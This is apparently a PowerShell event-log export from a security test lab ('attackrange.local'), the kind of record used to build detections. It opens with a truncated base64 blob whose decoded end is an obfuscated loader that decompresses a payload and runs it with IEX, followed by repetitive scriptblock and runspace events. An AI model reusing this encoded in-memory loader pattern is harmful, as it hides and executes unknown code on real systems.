FMAagB5AGEAWgB6AEkAZAA3AEsAeABWAFQAdwBjAEUAQwB5AGQAMABxAGcAVwBnAGoAegArAHoAaQBaADUARAAzADMAagA1AG8AMwBFAGMAZwByAGoASABZAEIAVwBrAFIAUAAxAEgAWQA0ADQAeAByAEYAVgBsAFgAeQBNAGUANABIAGQAOABoAHoAUwA5ADMARQBDAFoAawBUAFAAMQBxAGIAVAB5AHMALwBiAGkAdgBjAGoAbAB2AG0AdgBHAGMAWQBNAFoASgBWAEQAbgBxAE0ARQBZAHgASABRAEoAYgBqAEMAYwBIAHoAdQBuAEkAeQA2AGgAUQBiAG0AcwAvAG0AMgB1AGwAcgBqAFUAUQBXAFoATQB6ACsASwBlADYAaAA5AEEAZQBsAEwAZABEADMAeQBvAG0AQQBSAEIAZABBAEcARwBxAFIARQBTADUASgBoAHUAZwBVAHEARABHAFQAcQBZADgATABuAGgAMgBHAGMAVABxAGgAOQBpADAAagBkAGQARgAwAG8ATwBKAE8AMABoAEoAcgBCAFQAWQBHAEgAUQBJAG0AYwBpADMAUABqAFAALwBLAGcAMwBEAFUASgBsAEwAMwBTAEoAQgA5AFIAbABGADUASgBjADAANABhAGUAYwA2AHEAbwBNAHQAMQBNAG0AKwBEAHEAZgB6AEgANwBYAEMAZgBIAG8AaQBpAHcATwBvAFAAMAB6AG0AaABJAEEATQBNAE4AYQBJAE8AWgBPAHgARwBGAHYAbABaAHQALwBKAFIANAAvADUAOQA1AFAANwBhAFkASAA4AHoAcwBSACsAUQBVAHkARgBwAFoAaQBJADkAOABUAG8AdAB5AEsAUwBsAFIAYwBiAG4AYwB2AFcARgBaAEkAaABkAFIAUQBFADIASwBBAG8AOAAzAFkAMwBMAFQATgBjAG8AMgBWAHEAdQB5AHQAOABsAE8AegByAFgAdAArAEMAWQBhAGkASAB0AHAAdQBCAHUASwBVADMAagAyADgATABBADcAUwBWAFIAVgBaAFIATAB5AEUAeABXAEoAeQBjAE4AbwAyAEYASQAyADgAdgBoAFcANgBDAFoAcABJAGkAZABUAHYAcwBWAEsATABhAEEANwA3AEEAYgBpAFIAdAA0AC8AQgBLAHQAMgA0AG4AWABiAE8ASgBUADMATwB1AHoARgBuADMAZgBEAFcASgBEADMAQQBqAGYAcwA3AEEATABwAHgAbgBaADYASgB6AGwASAAvAHIARwBWAHQAcQAyAGwATABIADIAMgBCAGwASgAzAE8ASQArAGwAZwBuADQAbwA3ADMAbABwADEAKwA4AEYAcwBQADUARAAzAHYAYwBEAEIAZgBoAHUAYgAwAEsAZgBUADMARwBYAGkATQBvAE4AVwBhAG8AbwBaAGUAawB0AE0AZQAwAHMAdgA1ADkALwBNAGwAcgB0AHcAVAB6AFgAMQBiAGsAWQA2AG8AYQBQAFYAYQBzADkAbABoAFQAOQAwAE0AbgBCAEoALwBEAEwAWQBJAGUAVABGAG8AYgBIAHkATgB6ADIASQBwAGkAaQBYAHIAdwBiAEYAdgA0AFMAWAB0ADAAaABYADEASABrAG8AWgBJAGIAMQA3AFkAagA1ADMAcQBLAFcAcgBTADEAaQB3ADQAdQBPADEAbwBmADgAdAAwAHQAOABPAHQAZAB3AEMAUQB6AGMAbQAzAFMAdgBjAEUAWgBXAGsAbwBwAFcAdQBwAHEAUABsAHoAcABBADkAQwB4AFMAeABaADIAZAA2AGkAcgBRAGMAWgB0ADUAWgB0AEkATQBBAHgAOABNAEsAWgBaADIAMgBpAHYAMwBiADIANQBSAEQAMAAvAEwAZgBVAGIATwBFAHYAeABMAEgANQBRAHAAbgBUAEYAagBrAHkAdgBtACsAZgArAGoAUwBGAHYANQBVAHgARgBJAFoAMAB2AGwAWgB2AEkAegBQAHUAaAA2AGgAQwBMADMAOQBCAEMAcgBxAEsAdQBiAGEAVQBuAHcAbABxAGsAVwBjAHMAdwBKAGoAawBHAHYAZQA1AHcASwB0AHkARABYAHIAKwB2AGEAZQBDAEQAZQBTADIAdABYAGcAawA3AHUAbAAvAG8AQgA4AFQAeQBLAHMAbwBqAEcAZgB3AFkAMwBkADgANABJAFAAdQBXAGEAaQB6AHMAQwAwAE4AOQBKAE0AMQBlAHQANQBLAFgAOQBsAEcANgAzAHEANQA4AHYAUwB1AHgAdgBRAE4AWgB4AGcAcwBwAHAAWQBmAE4ATwBKAGkAdABCAHQAeQA5AEIARABGAFkAZQA2AEcAOQA4AHMAVQBIAE4ATQBTAE8AdABjAEEATwBXAHEAQwBIAGwAZABkAG0AVABYACsAKwBRADgAdAAxAEsAdgBqAFkAUQAwAFAAMABzAEYANgBFACsANwBVAHQARAA4ADMAMABKAGUAbwBiADIAcwBMAGkAbABBAFAAdgA2AEoAMgBaAHUASgA0AEkAbgBpAEoATwBYAHQAdgBMAHcAVgBoAFAAcABwAEoANwBQADIAMwAxACsAZwBLAFAAZABEAEgAVgAxAEwARwBZAFAAYwB4AGEAeQB0AEoANABsAFUAYQBUAEYAMQB1AHcAZgBIADYAMwB0AHIAVwBaAE0ATgBGAFcASABEAHUANQBuADgANgB3AE4AcABjADQAdwBWAG8AaQBRAGIASgBiAHgAbwBEAFQAZABHAHUAeABaAHIAawBPAHYAMABkAGoAYgBRAEoAMAB1AHYAUwBpAHoAYwBUAEoAZQBNAFcAbABiAGIAcgAyAGsAYgBBAGEAOQBEAEkAdQA0ADAAQgArAGEAeQBwAGwAcQA2AGsAMABiAG8AMwBGAE4ARQBqAHUAegAzAFoANQB1AG8ATgBZAGUANwBsAGgAOQBXAHUAUwByAFoAWgA5AFYAdQAvADEAWAB5AGIAMgBpAGcAdABtAFMAeAB0ADcAcABzAGMANwBhAEgAeQBkADQAbwA1AEMAMQB4ADAAbABXADYAZgBYAGoAcgBYAEUATwA3AHcASQBNACsAeAB6AEQANwBpAHoAVABuAEYANgA3AFoAcABlAHoAKwBOAHMASABQAFUASABzAFMASgBuADYANQBqAHoAdABjAEcAcQBvAHgAdwBJAGoALwA5AEEAcgBQAHQAWgBlAGsARQBxAFkAbAB2ADMAMABvAEMAMwBRAFQANwBoAE8AKwB2AGQAYQBxAEIAawBnAHMAKwB6AGcASwBHAC8AOABpAFUAZgBzAEsARwA0AEUANwBaAE4AWAArAG8AZwA3AHAAcABkAHcANQBuAGcAegBYAGQAVwBaADkAWABuAE8ANwBGAHMAcAB2ADkAMABuAEkASwB0ADAAWAB0AFkAMgBFAHYASQB4AFYAZAAzAEMAMwBsADgAZwBKAHgAVwA0AGQAbgBLADcARQBRAGwAWABaAHgAbQBrAEcATwB4AEUAaABTADEAcwBwAFgAMwBZAFkANwB1AEkAeABHAEwAOABaAGEARABkAHoAUwBjAHEANQBxADEAMgBLAFgANAAwAEEAawBUAGYAWABsAHQAMgBxADkAeQAwAG8AYwBhAHQAdwBiAGsAawA2AEQAdQA2AEcAZgBFAGkAdABlAEQAMgBZAHgAWAB4ADYALwB0AG8AZQBHADYAQQAyAEgARwA5ACsAYwB0AHQAegA5ADkAbgBRADkAbQBFAHQASwBMAG0ATQB2AEgAVwByAHcAcgBPAHQAbwBtAGkARwBCAEcAeQBZAHAANwAvADEAOABNAC8ARgArADUAbABIAG4AcgBXAGQAQwBwAG8AQQBrAFcAKwA1ADgAKwAxAFkAdgBaADQAZQAzAGsAOABUAEoANwBPAHMAOQA2AGIAKwA5AFgAVgBnAGIAUwAyAE8AdQBpAC8ANQBVAG4AZQAvAE4AZAAxAC8AdgBWAEEASwBXAFoAVQBmAHgAaQB1AHQAQQBOAFkAUQBnADYAWAAyAEYAUwBFAEUAbQBuAFUAVwBZAFUATwBBAFYASAByAGYAYgB4ADkAUAAxAEsASQBwACsANABNAEoAbgBDADcASABwAHUALwBKAHoAcgBCAHEAZwBZAHYAbgA0AHgAQgBjAEUAbwBlAEIAegBRAG4AdQBDAEMAbQA4AEcAUwA3AFgAeQA0AHEAagBOAHYAaABEAEIAeABIAFgAMgB5AGsAcwAyAG0ASABGAEIATwBIAHAANwBuAHQARABQAGgAbAB5ADkAcgBjAEsALwB4AEQAawBTAFYAKwBEAFoAOQBhAFQAQwB0AGoARwAyADEAVwBzAFYALwB0ADEAVwB2AC8ARAA0AHMALwBTAEQATQBhADIALwBpAEcAcwBXAEEAOQBzADYAUwA5ADUAcgBjAFUAbABQADkAaABIADYAVQArAEIANwA1AEIAdwBQAHcAZwA5AEwALwBEAFcAMABCAFgAagBuAGoAdgBVAEYAWABHAHYAUQB4AFgAdgBWAEsAOQBXAHUAbABJAG0AKwBZAGQALwB1AHgAYwA0AEEAdgBHAEwASgBqAGIAcwB2AGMAaQA2AGsAWgAwAGEAdAB0AFkATQBIAG4AVABuAGwALwAxAHkANwBOAE8AaQBPAEwAUwArAGIAUwBaAEwANAB6AFYAKwBBAGUARgA3AE0AZAArAE8AYQBKADcASwBTADQAegBKAG4AagBKADkAdwAzAEoAagBXAGQASQArAE0AMwBaAGsASQBRAGcAUgBIADgAUwBnAGsAcwB5AEYASQBDAE0AMQBrAGgAdQBoAFIAUwBFAE0AUABlAHYAdwBIAGIAaAB2AEIAbwBFAHcANABBAEEAQQA9AD0AIgApACkAOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=
ScriptBlock ID: 6a0ec8a0-b6e8-46f0-8404-0ba356433a7d
Path:
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479321
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1479345
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8197
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Connect
OpCode=Open (async)
RecordNumber=1479344
Keywords=None
Message=Runspace state changed to Opening
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8195
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Connect
OpCode=Open (async)
RecordNumber=1479343
Keywords=None
Message=Opening RunspacePool
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8194
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Connect
OpCode=to be used when an object is constructed
RecordNumber=1479342
Keywords=None
Message=Creating RunspacePool object
InstanceId ed0cb4e8-66e5-44d3-b801-8ea2978e3310
MinRunspaces 1
MaxRunspaces 1
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8193
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Connect
OpCode=to be used when an object is constructed
RecordNumber=1479341
Keywords=None
Message=Creating Runspace object
Instance Id: 7c64d31b-8ed5-412a-8a9f-31556d36620e
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479340
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6f0d6322-ac66-4702-8f7e-ec28c1c4bd2d
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479339
Keywords=None
Message=Started invocation of ScriptBlock ID: 6f0d6322-ac66-4702-8f7e-ec28c1c4bd2d
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479338
Keywords=None
Message=Completed invocation of ScriptBlock ID: 409422e4-2a33-49dd-93e0-d62dfac8bbad
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479337
Keywords=None
Message=Started invocation of ScriptBlock ID: 409422e4-2a33-49dd-93e0-d62dfac8bbad
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479403
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8bb59f0-2a61-40c9-8c37-53741cfac6c1
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479402
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479401
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479400
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479399
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479398
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479397
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479396
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479395
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479394
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479393
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479392
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479391
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479389
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479388
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479387
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479386
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479385
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479384
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479383
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479382
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479381
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479379
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479378
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479377
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
